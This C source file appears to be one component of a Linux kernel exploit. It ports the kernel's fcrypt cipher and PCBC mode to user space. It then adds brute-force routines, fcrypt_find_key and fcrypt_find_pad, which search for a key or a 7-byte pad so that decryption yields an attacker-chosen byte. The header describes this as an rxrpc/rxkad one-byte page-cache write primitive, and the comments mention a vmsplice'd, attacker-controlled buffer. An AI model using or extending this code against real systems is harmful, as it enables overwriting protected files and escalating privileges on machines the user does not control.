fcrypt.c

/*
 * fcrypt.c -- userland port of the Linux fcrypt block cipher.
 *
 * S-box tables, key schedule, encrypt/decrypt, PCBC mode, and the
 * brute-force key finder for the rxrpc/rxkad 1-byte page-cache write
 * primitive.
 *
 * Cipher logic is identical to crypto/fcrypt.c in the kernel tree.
 * PCBC logic mirrors crypto/pcbc.c.
 */

#include "fcrypt.h"

#include <string.h>
#include <unistd.h>
#include <time.h>
#include <endian.h>

/* ================================================================== */
/*  S-box raw tables (same as kernel crypto/fcrypt.c)                  */
/* ================================================================== */

static const uint8_t sbox0_raw[256] = {
    0xea,0x7f,0xb2,0x64,0x9d,0xb0,0xd9,0x11,0xcd,0x86,0x86,0x91,0x0a,0xb2,0x93,0x06,
    0x0e,0x06,0xd2,0x65,0x73,0xc5,0x28,0x60,0xf2,0x20,0xb5,0x38,0x7e,0xda,0x9f,0xe3,
    0xd2,0xcf,0xc4,0x3c,0x61,0xff,0x4a,0x4a,0x35,0xac,0xaa,0x5f,0x2b,0xbb,0xbc,0x53,
    0x4e,0x9d,0x78,0xa3,0xdc,0x09,0x32,0x10,0xc6,0x6f,0x66,0xd6,0xab,0xa9,0xaf,0xfd,
    0x3b,0x95,0xe8,0x34,0x9a,0x81,0x72,0x80,0x9c,0xf3,0xec,0xda,0x9f,0x26,0x76,0x15,
    0x3e,0x55,0x4d,0xde,0x84,0xee,0xad,0xc7,0xf1,0x6b,0x3d,0xd3,0x04,0x49,0xaa,0x24,
    0x0b,0x8a,0x83,0xba,0xfa,0x85,0xa0,0xa8,0xb1,0xd4,0x01,0xd8,0x70,0x64,0xf0,0x51,
    0xd2,0xc3,0xa7,0x75,0x8c,0xa5,0x64,0xef,0x10,0x4e,0xb7,0xc6,0x61,0x03,0xeb,0x44,
    0x3d,0xe5,0xb3,0x5b,0xae,0xd5,0xad,0x1d,0xfa,0x5a,0x1e,0x33,0xab,0x93,0xa2,0xb7,
    0xe7,0xa8,0x45,0xa4,0xcd,0x29,0x63,0x44,0xb6,0x69,0x7e,0x2e,0x62,0x03,0xc8,0xe0,
    0x17,0xbb,0xc7,0xf3,0x3f,0x36,0xba,0x71,0x8e,0x97,0x65,0x60,0x69,0xb6,0xf6,0xe6,
    0x6e,0xe0,0x81,0x59,0xe8,0xaf,0xdd,0x95,0x22,0x99,0xfd,0x63,0x19,0x74,0x61,0xb1,
    0xb6,0x5b,0xae,0x54,0xb3,0x70,0xff,0xc6,0x3b,0x3e,0xc1,0xd7,0xe1,0x0e,0x76,0xe5,
    0x36,0x4f,0x59,0xc7,0x08,0x6e,0x82,0xa6,0x93,0xc4,0xaa,0x26,0x49,0xe0,0x21,0x64,
    0x07,0x9f,0x64,0x81,0x9c,0xbf,0xf9,0xd1,0x43,0xf8,0xb6,0xb9,0xf1,0x24,0x75,0x03,
    0xe4,0xb0,0x99,0x46,0x3d,0xf5,0xd1,0x39,0x72,0x12,0xf6,0xba,0x0c,0x0d,0x42,0x2e,
};

static const uint8_t sbox1_raw[256] = {
    0x77,0x14,0xa6,0xfe,0xb2,0x5e,0x8c,0x3e,0x67,0x6c,0xa1,0x0d,0xc2,0xa2,0xc1,0x85,
    0x6c,0x7b,0x67,0xc6,0x23,0xe3,0xf2,0x89,0x50,0x9c,0x03,0xb7,0x73,0xe6,0xe1,0x39,
    0x31,0x2c,0x27,0x9f,0xa5,0x69,0x44,0xd6,0x23,0x83,0x98,0x7d,0x3c,0xb4,0x2d,0x99,
    0x1c,0x1f,0x8c,0x20,0x03,0x7c,0x5f,0xad,0xf4,0xfa,0x95,0xca,0x76,0x44,0xcd,0xb6,
    0xb8,0xa1,0xa1,0xbe,0x9e,0x54,0x8f,0x0b,0x16,0x74,0x31,0x8a,0x23,0x17,0x04,0xfa,
    0x79,0x84,0xb1,0xf5,0x13,0xab,0xb5,0x2e,0xaa,0x0c,0x60,0x6b,0x5b,0xc4,0x4b,0xbc,
    0xe2,0xaf,0x45,0x73,0xfa,0xc9,0x49,0xcd,0x00,0x92,0x7d,0x97,0x7a,0x18,0x60,0x3d,
    0xcf,0x5b,0xde,0xc6,0xe2,0xe6,0xbb,0x8b,0x06,0xda,0x08,0x15,0x1b,0x88,0x6a,0x17,
    0x89,0xd0,0xa9,0xc1,0xc9,0x70,0x6b,0xe5,0x43,0xf4,0x68,0xc8,0xd3,0x84,0x28,0x0a,
    0x52,0x66,0xa3,0xca,0xf2,0xe3,0x7f,0x7a,0x31,0xf7,0x88,0x94,0x5e,0x9c,0x63,0xd5,
    0x24,0x66,0xfc,0xb3,0x57,0x25,0xbe,0x89,0x44,0xc4,0xe0,0x8f,0x23,0x3c,0x12,0x52,
    0xf5,0x1e,0xf4,0xcb,0x18,0x33,0x1f,0xf8,0x69,0x10,0x9d,0xd3,0xf7,0x28,0xf8,0x30,
    0x05,0x5e,0x32,0xc0,0xd5,0x19,0xbd,0x45,0x8b,0x5b,0xfd,0xbc,0xe2,0x5c,0xa9,0x96,
    0xef,0x70,0xcf,0xc2,0x2a,0xb3,0x61,0xad,0x80,0x48,0x81,0xb7,0x1d,0x43,0xd9,0xd7,
    0x45,0xf0,0xd8,0x8a,0x59,0x7c,0x57,0xc1,0x79,0xc7,0x34,0xd6,0x43,0xdf,0xe4,0x78,
    0x16,0x06,0xda,0x92,0x76,0x51,0xe1,0xd4,0x70,0x03,0xe0,0x2f,0x96,0x91,0x82,0x80,
};

static const uint8_t sbox2_raw[256] = {
    0xf0,0x37,0x24,0x53,0x2a,0x03,0x83,0x86,0xd1,0xec,0x50,0xf0,0x42,0x78,0x2f,0x6d,
    0xbf,0x80,0x87,0x27,0x95,0xe2,0xc5,0x5d,0xf9,0x6f,0xdb,0xb4,0x65,0x6e,0xe7,0x24,
    0xc8,0x1a,0xbb,0x49,0xb5,0x0a,0x7d,0xb9,0xe8,0xdc,0xb7,0xd9,0x45,0x20,0x1b,0xce,
    0x59,0x9d,0x6b,0xbd,0x0e,0x8f,0xa3,0xa9,0xbc,0x74,0xa6,0xf6,0x7f,0x5f,0xb1,0x68,
    0x84,0xbc,0xa9,0xfd,0x55,0x50,0xe9,0xb6,0x13,0x5e,0x07,0xb8,0x95,0x02,0xc0,0xd0,
    0x6a,0x1a,0x85,0xbd,0xb6,0xfd,0xfe,0x17,0x3f,0x09,0xa3,0x8d,0xfb,0xed,0xda,0x1d,
    0x6d,0x1c,0x6c,0x01,0x5a,0xe5,0x71,0x3e,0x8b,0x6b,0xbe,0x29,0xeb,0x12,0x19,0x34,
    0xcd,0xb3,0xbd,0x35,0xea,0x4b,0xd5,0xae,0x2a,0x79,0x5a,0xa5,0x32,0x12,0x7b,0xdc,
    0x2c,0xd0,0x22,0x4b,0xb1,0x85,0x59,0x80,0xc0,0x30,0x9f,0x73,0xd3,0x14,0x48,0x40,
    0x07,0x2d,0x8f,0x80,0x0f,0xce,0x0b,0x5e,0xb7,0x5e,0xac,0x24,0x94,0x4a,0x18,0x15,
    0x05,0xe8,0x02,0x77,0xa9,0xc7,0x40,0x45,0x89,0xd1,0xea,0xde,0x0c,0x79,0x2a,0x99,
    0x6c,0x3e,0x95,0xdd,0x8c,0x7d,0xad,0x6f,0xdc,0xff,0xfd,0x62,0x47,0xb3,0x21,0x8a,
    0xec,0x8e,0x19,0x18,0xb4,0x6e,0x3d,0xfd,0x74,0x54,0x1e,0x04,0x85,0xd8,0xbc,0x1f,
    0x56,0xe7,0x3a,0x56,0x67,0xd6,0xc8,0xa5,0xf3,0x8e,0xde,0xae,0x37,0x49,0xb7,0xfa,
    0xc8,0xf4,0x1f,0xe0,0x2a,0x9b,0x15,0xd1,0x34,0x0e,0xb5,0xe0,0x44,0x78,0x84,0x59,
    0x56,0x68,0x77,0xa5,0x14,0x06,0xf5,0x2f,0x8c,0x8a,0x73,0x80,0x76,0xb4,0x10,0x86,
};

static const uint8_t sbox3_raw[256] = {
    0xa9,0x2a,0x48,0x51,0x84,0x7e,0x49,0xe2,0xb5,0xb7,0x42,0x33,0x7d,0x5d,0xa6,0x12,
    0x44,0x48,0x6d,0x28,0xaa,0x20,0x6d,0x57,0xd6,0x6b,0x5d,0x72,0xf0,0x92,0x5a,0x1b,
    0x53,0x80,0x24,0x70,0x9a,0xcc,0xa7,0x66,0xa1,0x01,0xa5,0x41,0x97,0x41,0x31,0x82,
    0xf1,0x14,0xcf,0x53,0x0d,0xa0,0x10,0xcc,0x2a,0x7d,0xd2,0xbf,0x4b,0x1a,0xdb,0x16,
    0x47,0xf6,0x51,0x36,0xed,0xf3,0xb9,0x1a,0xa7,0xdf,0x29,0x43,0x01,0x54,0x70,0xa4,
    0xbf,0xd4,0x0b,0x53,0x44,0x60,0x9e,0x23,0xa1,0x18,0x68,0x4f,0xf0,0x2f,0x82,0xc2,
    0x2a,0x41,0xb2,0x42,0x0c,0xed,0x0c,0x1d,0x13,0x3a,0x3c,0x6e,0x35,0xdc,0x60,0x65,
    0x85,0xe9,0x64,0x02,0x9a,0x3f,0x9f,0x87,0x96,0xdf,0xbe,0xf2,0xcb,0xe5,0x6c,0xd4,
    0x5a,0x83,0xbf,0x92,0x1b,0x94,0x00,0x42,0xcf,0x4b,0x00,0x75,0xba,0x8f,0x76,0x5f,
    0x5d,0x3a,0x4d,0x09,0x12,0x08,0x38,0x95,0x17,0xe4,0x01,0x1d,0x4c,0xa9,0xcc,0x85,
    0x82,0x4c,0x9d,0x2f,0x3b,0x66,0xa1,0x34,0x10,0xcd,0x59,0x89,0xa5,0x31,0xcf,0x05,
    0xc8,0x84,0xfa,0xc7,0xba,0x4e,0x8b,0x1a,0x19,0xf1,0xa1,0x3b,0x18,0x12,0x17,0xb0,
    0x98,0x8d,0x0b,0x23,0xc3,0x3a,0x2d,0x20,0xdf,0x13,0xa0,0xa8,0x4c,0x0d,0x6c,0x2f,
    0x47,0x13,0x13,0x52,0x1f,0x2d,0xf5,0x79,0x3d,0xa2,0x54,0xbd,0x69,0xc8,0x6b,0xf3,
    0x05,0x28,0xf1,0x16,0x46,0x40,0xb0,0x11,0xd3,0xb7,0x95,0x49,0xcf,0xc3,0x1d,0x8f,
    0xd8,0xe1,0x73,0xdb,0xad,0xc8,0xc9,0xa9,0xa1,0xc2,0xc5,0xe3,0xba,0xfc,0x0e,0x25,
};

/* Expanded S-box tables (built once by fcrypt_init). */
static uint32_t sbox0[256], sbox1[256], sbox2[256], sbox3[256];

/* ================================================================== */
/*  Init                                                               */
/* ================================================================== */

void fcrypt_init(void)
{
    for (int i = 0; i < 256; i++) {
        sbox0[i] = htobe32((uint32_t)sbox0_raw[i] << 3);
        sbox1[i] = htobe32(((uint32_t)(sbox1_raw[i] & 0x1f) << 27) |
                           ((uint32_t) sbox1_raw[i] >> 5));
        sbox2[i] = htobe32((uint32_t)sbox2_raw[i] << 11);
        sbox3[i] = htobe32((uint32_t)sbox3_raw[i] << 19);
    }
}

/* ================================================================== */
/*  Key schedule                                                       */
/* ================================================================== */

#define ROTATE56_64(k, n) \
    (k = (k >> (n)) | ((k & ((1ULL << (n)) - 1)) << (56 - (n))))

void fcrypt_setkey(fcrypt_ctx_t *ctx, const uint8_t key[8])
{
    uint64_t k = 0;
    for (int i = 0; i < 8; i++) {
        k <<= 7;
        k |= (uint64_t)(key[i] >> 1);
    }
    for (int i = 0; i < 16; i++) {
        ctx->sched[i] = htobe32((uint32_t)k);
        if (i < 15) ROTATE56_64(k, 11);
    }
}

/* ================================================================== */
/*  Feistel round macro                                                */
/* ================================================================== */

#define FC_F(R, L, ks) do {                          \
    union { uint32_t l; uint8_t c[4]; } _u;          \
    _u.l = (ks) ^ (R);                               \
    (L) ^= sbox0[_u.c[0]] ^ sbox1[_u.c[1]] ^         \
            sbox2[_u.c[2]] ^ sbox3[_u.c[3]];          \
} while (0)

/* ================================================================== */
/*  Single-block encrypt / decrypt                                     */
/* ================================================================== */

void fcrypt_encrypt_block(const fcrypt_ctx_t *ctx,
                          uint8_t out[8], const uint8_t in[8])
{
    uint32_t L, R;
    memcpy(&L, in,     4);
    memcpy(&R, in + 4, 4);

    FC_F(R, L, ctx->sched[0x0]); FC_F(L, R, ctx->sched[0x1]);
    FC_F(R, L, ctx->sched[0x2]); FC_F(L, R, ctx->sched[0x3]);
    FC_F(R, L, ctx->sched[0x4]); FC_F(L, R, ctx->sched[0x5]);
    FC_F(R, L, ctx->sched[0x6]); FC_F(L, R, ctx->sched[0x7]);
    FC_F(R, L, ctx->sched[0x8]); FC_F(L, R, ctx->sched[0x9]);
    FC_F(R, L, ctx->sched[0xa]); FC_F(L, R, ctx->sched[0xb]);
    FC_F(R, L, ctx->sched[0xc]); FC_F(L, R, ctx->sched[0xd]);
    FC_F(R, L, ctx->sched[0xe]); FC_F(L, R, ctx->sched[0xf]);

    memcpy(out,     &L, 4);
    memcpy(out + 4, &R, 4);
}

void fcrypt_decrypt_block(const fcrypt_ctx_t *ctx,
                          uint8_t out[8], const uint8_t in[8])
{
    uint32_t L, R;
    memcpy(&L, in,     4);
    memcpy(&R, in + 4, 4);

    FC_F(L, R, ctx->sched[0xf]); FC_F(R, L, ctx->sched[0xe]);
    FC_F(L, R, ctx->sched[0xd]); FC_F(R, L, ctx->sched[0xc]);
    FC_F(L, R, ctx->sched[0xb]); FC_F(R, L, ctx->sched[0xa]);
    FC_F(L, R, ctx->sched[0x9]); FC_F(R, L, ctx->sched[0x8]);
    FC_F(L, R, ctx->sched[0x7]); FC_F(R, L, ctx->sched[0x6]);
    FC_F(L, R, ctx->sched[0x5]); FC_F(R, L, ctx->sched[0x4]);
    FC_F(L, R, ctx->sched[0x3]); FC_F(R, L, ctx->sched[0x2]);
    FC_F(L, R, ctx->sched[0x1]); FC_F(R, L, ctx->sched[0x0]);

    memcpy(out,     &L, 4);
    memcpy(out + 4, &R, 4);
}

/* ================================================================== */
/*  PCBC-mode encrypt (mirrors crypto/pcbc.c)                          */
/*                                                                     */
/*  For each 8-byte block:                                             */
/*    tmp  = P[i] ^ IV                                                 */
/*    C[i] = E(tmp)                                                    */
/*    IV'  = C[i] ^ P[i]                                               */
/* ================================================================== */

void fcrypt_pcbc_encrypt(const uint8_t key[8], const uint8_t iv[8],
                         const void *in, void *out, size_t len)
{
    fcrypt_ctx_t ctx;
    fcrypt_setkey(&ctx, key);

    uint8_t cur_iv[8];
    memcpy(cur_iv, iv, 8);

    const uint8_t *src = (const uint8_t *)in;
    uint8_t       *dst = (uint8_t *)out;

    for (size_t off = 0; off < len; off += 8) {
        uint8_t tmp[8];
        for (int j = 0; j < 8; j++)
            tmp[j] = src[off + j] ^ cur_iv[j];

        fcrypt_encrypt_block(&ctx, dst + off, tmp);

        for (int j = 0; j < 8; j++)
            cur_iv[j] = dst[off + j] ^ src[off + j];
    }
}

/* ================================================================== */
/*  PRNG (splitmix64)                                                  */
/* ================================================================== */

uint64_t fcrypt_splitmix64(uint64_t *state)
{
    uint64_t z = (*state += 0x9E3779B97F4A7C15ULL);
    z = (z ^ (z >> 30)) * 0xBF58476D1CE4E5B9ULL;
    z = (z ^ (z >> 27)) * 0x94D049BB133111EBULL;
    return z ^ (z >> 31);
}

/* ================================================================== */
/*  Brute-force key search                                             */
/* ================================================================== */

int fcrypt_find_key(uint8_t file_byte, uint8_t target_byte,
                    uint8_t pad7_out[7], uint8_t key_out[8],
                    uint64_t max_iters)
{
    /* Build the cipher-text block: 7 pad bytes + the existing file byte.
     * The pad is fixed at 0xCC -- deterministic, attacker-controlled,
     * goes into the vmsplice'd anon frag. */
    uint8_t C[8];
    memset(C, 0xCC, 7);
    C[7] = file_byte;
    memcpy(pad7_out, C, 7);

    fcrypt_ctx_t ctx;
    uint8_t K[8], P[8];
    uint64_t seed = ((uint64_t)getpid() << 32) ^ (uint64_t)time(NULL);

    for (uint64_t iter = 0; iter < max_iters; iter++) {
        uint64_t r = fcrypt_splitmix64(&seed);
        memcpy(K, &r, 8);

        fcrypt_setkey(&ctx, K);
        fcrypt_decrypt_block(&ctx, P, C);

        if (P[7] == target_byte) {
            memcpy(key_out, K, 8);
            return 0;
        }
    }
    return -1;
}

int fcrypt_find_pad(const uint8_t key[8],
                    uint8_t file_byte, uint8_t target_byte,
                    uint8_t pad7_out[7],
                    uint64_t max_iters)
{
    /* Key is fixed; vary the 7-byte pad until
     * fcrypt_decrypt(key, [pad | file_byte])[7] == target_byte.
     * 7 bytes of freedom -> ~1/256 per attempt -> ~256 avg iters. */
    fcrypt_ctx_t ctx;
    fcrypt_setkey(&ctx, key);

    uint8_t C[8], P[8];
    C[7] = file_byte;

    /* Use a seed that differs across calls even within the same second */
    static uint64_t pad_call_cnt;
    uint64_t seed = ((uint64_t)getpid() << 32)
                  ^ (uint64_t)time(NULL)
                  ^ (++pad_call_cnt * 0x517cc1b727220a95ULL);

    for (uint64_t iter = 0; iter < max_iters; iter++) {
        uint64_t r = fcrypt_splitmix64(&seed);
        memcpy(C, &r, 7);                      /* 7 random pad bytes */

        fcrypt_decrypt_block(&ctx, P, C);

        if (P[7] == target_byte) {
            memcpy(pad7_out, C, 7);
            return 0;
        }
    }
    return -1;
}